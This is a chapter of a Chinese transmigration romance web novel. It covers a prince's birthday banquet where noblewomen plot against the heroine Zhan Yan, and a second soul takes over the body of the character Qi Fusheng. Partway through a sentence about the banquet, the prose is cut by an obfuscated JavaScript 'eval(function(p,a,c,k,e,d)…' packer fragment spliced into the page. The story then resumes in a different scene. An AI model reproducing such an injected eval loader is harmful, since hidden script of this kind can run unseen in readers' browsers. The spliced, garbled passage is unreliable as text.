“……”祁浮生一时没反应过来,随后呵呵尬笑两声,“你是不是忘了我的任务是要保证你的安全。” 哦,对哦,好像是的。这样看来他急一点也是正常。 “放心放心,你就看着吧,明日生辰宴来的人不少,但朝里有权有势的人不多,大都是你我同龄人,可见傅朝尘他也没那么急,只是想弄出点传言,没想来真的。” 祁浮生想想,还是不放心展颜,上次狩猎那次的意外就已经把他吓得够呛:“最好是,明日我就在站你边上了。” 展颜瘫在椅子上,算了由他去好了,毕竟刚回来殷勤点也正常,表现欲嘛她都懂。 *** 祁浮生被额角传来的剧痛疼到清醒。 冒着冷汗,身前的衣襟都被打湿,祁浮生咬着牙,看起来万分痛苦,强忍着压着痛苦坐起身。 月亮还挂在天上,夜还深着。 细细麻麻的痛感一日比一日强硬。 “真有这么痛?”一道声音在祁浮生的脑海里响起。 祁季只能看到他竭力撑着脑袋传来的触感,但是感受不到那股钻进脊髓般的疼痛。 祁浮生脸上的震惊一闪而过,随后语气森森道:“……来了。” 祁季来了,这具身体现如今的另一位主人来了。 “又要夺回主导权了?”祁浮生知道祁季是和展颜从一个地方来的,他们也许还会一起回到属于他们的地方,那个展颜在花朝提过的家。 一想到这个,祁浮生就嫉妒到要命,此刻的头疼与此相比起来甚至都不算什么。 祁季等着他继续说,感受着自己渐渐有了实体。 可等了半天,却只听祁浮生道:“别让她受伤,还有,别说我坏话,不然等我回来有你好看!” “不用你说,我也不会让她受伤。”祁季抬了抬手臂。 祁浮生的声音彻底消失。 *** 生辰宴在三皇子宫墙之外的别院里举办。 展颜与展清梦共乘一车,到达别院的时候已经挺晚了。 “阿颜快些,爹早就已经到了,我们若是在今日迟到,就是驳了三殿下的面子,这可不是说着玩的。”展清梦拉着展颜的手快步进了别院。 展颜连连点头。 总算是紧赶慢赶赶上了,还未开宴,下人领着展家的两位姑娘先去了后院。 女眷们大都聚在这里,老一辈的聊着家长里短,同展颜一辈的则是大堆小堆地错落分布,大多是都在聊着这位邀请她们来生辰宴的三皇子殿下。 人人脸上都是意料之外的惊喜。 今日姜燕回未来,展清梦就代替展家去与各位夫人长辈寒暄,展颜没事干,又怕跟着展清梦一同去会说错话,就找了个无人在意的角落一个人坐着发呆。 后院为了给女眷们提供临时休憩的地方用屏风隔出了好几个位面,展颜坐的这个地方最偏僻,边上就紧贴着院墙。 侍者为她端来一杯凉茶,日子渐渐入夏,即使太阳快要落山,还是闷热得紧。 展颜接过,道了声谢便埋头喝了一大口。 呼——渴死了。 “我们上次一起去了难民的破屋棚子煽风点火过,但是按着现下来看,那些难民没有要找展颜麻烦的意思。”有道女声从隔壁的位面里响起。 展颜捕捉到了自己的名字。 哦?还有她的参与?展颜不舍地放下手里的茶盏,微微俯身贴近屏风,她这边背光,屏风上倒不出她的影子。 40.生辰宴1 “她竟然躲过去了?也不知道上次那个毛头小子有没有找她的麻烦。” “你们就仅仅是去寻了那些贱民,却连跟着都不会吗?”一道略微尖利的嗓音,展颜听出来,说此话的人是白瑾瓷。 “这……”对面的姑娘嗫嚅着,没再吭声。 隔壁位面沉默一瞬,展颜往屏风边上更靠近几分。 难怪了,她就说为什么京城里对她有敌意的姑娘多了起来,她寻思着自从穿过来之后没干什么十恶不赦的事啊? 男人没抢,贪官没当,也没有脑子不好跑去雌竞,甚至相较于以往的她安分了不少,为何会平白无故多了这么多对头。 如今真相大白,原来是白瑾瓷吹的耳旁风,其后也定少不了阮芊芊的教唆,展颜肯定。 但是以何种理由令她成了众人的假想敌,展颜还是不得而知。 “几日前施粥那日我也在香积寺。”一个姑娘先开了口打破了沉默,“我出正殿的时候,正巧看见展颜和我们那日一起寻到的那个小男孩在一起,两人关系一看就不简单,说说笑笑的,像是认识了很久的样子。” 也没有认识很久吧,展颜扒着石凳子的边缘边听边想着,那是她小孩缘太旺。 “你为何不早说?” “我也没想到这个份上。” “好了——吵闹的声音这般响,是想让周围的人都听到你们干的好事吗!”白瑾瓷压着声音怒道。 这么凶?大姐你不打算在京城里继续混了?展颜听着白瑾瓷这一声紧急叫停不禁感慨道。这些人凭啥都听她的? 氛围有点古怪紧张,就像是那种明明在斗嘴,但还是碍于面子不能说是吵架的难受感觉。 如果思考过程有实体,展颜觉得隔壁位面肯定是一片思考念头乱糟糟地打结成一团,黑压压地盘旋在上头。 “哎,不急不急。”温温柔柔的声音萦绕开来,把紧张的氛围调和得舒服多了。 是阮芊芊。 一个唱红脸一个唱白脸是吧?展颜了然。 阮芊芊:“妹妹们,此事未成,也不怪你们,谁让那展颜本身就是善于勾搭之人,这不你们瞧瞧?你们前脚吩咐去的人,后脚就被她说服了,如此看来,我没有骗你们吧?” 嗯?这对吗?展颜听愣了,这话她是怎么有底气说出来的,这是造谣,明晃晃的造谣! 哼,这么离谱,那些贵女们怎么可能会相信。 “嗯!阮姐姐说的对。” “还要多谢阮姐姐与我们说,要不然我们还被展颜那和善的外表蒙在鼓里呢,还以为她改过自新,结果只是学会了伪装罢了。” 展颜:“……”有时候真的挺无助,也挺无语的。 “妹妹们莫急,今天是丧皇子殿下的生辰宴,祁二公子已经被展颜勾引住了,我们可不能再让三皇子殿下也受到她的蛊惑。”阮芊芊说得义正严辞,痛心疾首,“我已经想好了对付她的办法,定能成功,你们且看着就好。” 阮芊芊没有告诉任何人她在金顶阁看见三皇子与展颜见面的事情,若是说了,碍于三皇子的威压,想必这些官家小姐多少会忌惮,不会全心全意像现在这般听她的摆布。 办法已经想好了,就等着一会儿看展颜出丑。 屏风后的展颜坐回了原位,她沉默地又喝了一口凉茶。 ……还有这种好事? 展颜不敢想象若是阮芊芊知道她听到这个消息之后高兴得不行,会是个什么表情,一定很精彩。 不用她亲自动手,就可以让傅朝尘自个儿远离她?展颜求之不得。 要是这样的话,那她可等不及要领教领教她的计划,说不定的话还陪她演上一演,也不是不可以。 *** 展颜跟着展清梦进了宴席,正殿里沿着中间的长道摆着两列长桌,这些位子是留给来的几个臣子还有其夫人的。在这之后还有若干的桌子分布其后,一人一张桌,亦可以两人一张,这次的生辰宴虽有君臣,但形似家宴,没有那么多的规矩。 展颜自然地挨着展清梦坐下。 正殿里的人渐渐多起来,展颜觉得有几道若有若无的目光向着自己这边瞟过来。 “祁家公子到——”传声的下人扯着嗓子喊道。 展颜向着大门的方向望过去,祁浮生走在祁泽川的身后,两人前后脚进了正殿。 祁泽川张望一番,瞧见了坐在第二排的展清梦,面色有点不自然,耳尖染上桃红,但还是迈步向着这边走来,坐在了展清梦左侧的长桌前。 啧啧啧,展颜唏嘘,用手掌托着脑袋,美滋滋地毫无顾忌地看着左边的一对璧人,虽然没有坐一张桌,但是这隐约间交错的目光更加撩人心弦。 亲眼看着自己笔下的男女主沉浸在暧昧关系里,展颜的脸都快要笑烂了。 忽然,展颜后背发凉,总觉得之前盯着她的那几束目光好像“凶狠”了不少,还没等她搞清楚发生了什么,肩膀上突然压上一只手,耳垂痒痒的,有股风慢悠悠地吹过来。 “在看什么?”祁浮生轻声道。 老天爷,吓死人啊! 展颜回头狠狠瞪了祁浮生一眼,可他却当做没看见一样,径直在展颜右边坐了下来。 “大哥你坐这里干啥呢?你坐你哥边上去啊。”展颜压低声音道。 她觉得自己现在十分有必要和祁浮生保持一定的距离,不然她可能还没有等到被傅朝尘刁难,就先被那些贵女们的眼神刀死了。她现在是搞明白了,为何那些姑娘们看不惯她,原是认为她红颜祸水,勾引了她们光风霁月的少年郎。 “我觉得这里就很好。”祁浮生抬手拿起桌上的酒壶,倒了盏酒,他认定了这个位子。 展颜:“……”你是好了,但是我就惨了呀。 他不愿意动,那她还不能动吗?展颜整好衣摆站起身,小步跑到展清梦身后的位子坐下。嘿嘿嘿,这下祁浮生总不能再跟过来吧。 祁浮生自然起身,直接和展颜共坐在了一张长桌前。 …… “你就不能不坐我边上?”展颜无奈开口。 “怎么?我记得昨天跟某人说过今日要一直待在你边上,这才过了一晚就忘了,什么记性。” 谁知道你这句话纯纯字面意思啊。展颜长叹一口气,破罐子破摔,这个固执编辑的性子她清楚,拗不过他的。 她老老实实坐回到阿姐身边,还是这个位子最安全了。 生辰宴按时开席,舞池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“只能算是认识,并未有其他。”展颜没有撒谎。 展清梦还欲问什么,下一句话还未问出口,只听坐在主位上的傅朝尘挥停了歌舞,开口道:“承蒙各位赏光,宾主尽欢,实乃幸事,今日是本王回京的第一个生辰,为此,本王特地备下薄礼。” 傅朝尘微微停顿,话中有话道:“如今本王替父皇管理着江南的航线,近几月传来了叫作‘煎糖为块’的做法,本王甚是新奇,就差人从江南运来了这种形似冰块的糖果,为诸位做了这份甜汤。” 形似冰块的糖果,展颜看了看面前的这份甜食,那不就是冰糖吗? 傅朝尘轻拍脑门,接着说:“哦对了,本王还特意准备了一份独特的甜食,用的是新供的糖梨,又请了本王从江南一并带来的雕刀师傅专门刻画了一朵牡丹,随机分发,不知道是哪位拿到了这份甜食?” 四座皆净,展颜低头没有说话,不要看见她啊,展颜努力刷低存在感,虽然心里明白这是徒劳无功,只是临时装死罢了。傅朝尘说是随机分发的,但是这可能吗? 曹轩坐在祁浮生的右边,兴奋地四处张望,看到展颜面前的琉璃盏,大喊道:“在这!是展颜!” 这一声,让在场的四个人面色一变。工部侍郎曹悯,太傅展五德,阮芊芊以及展颜。 我去你的,不会说话可以不说!这个时候眼神这么好使了!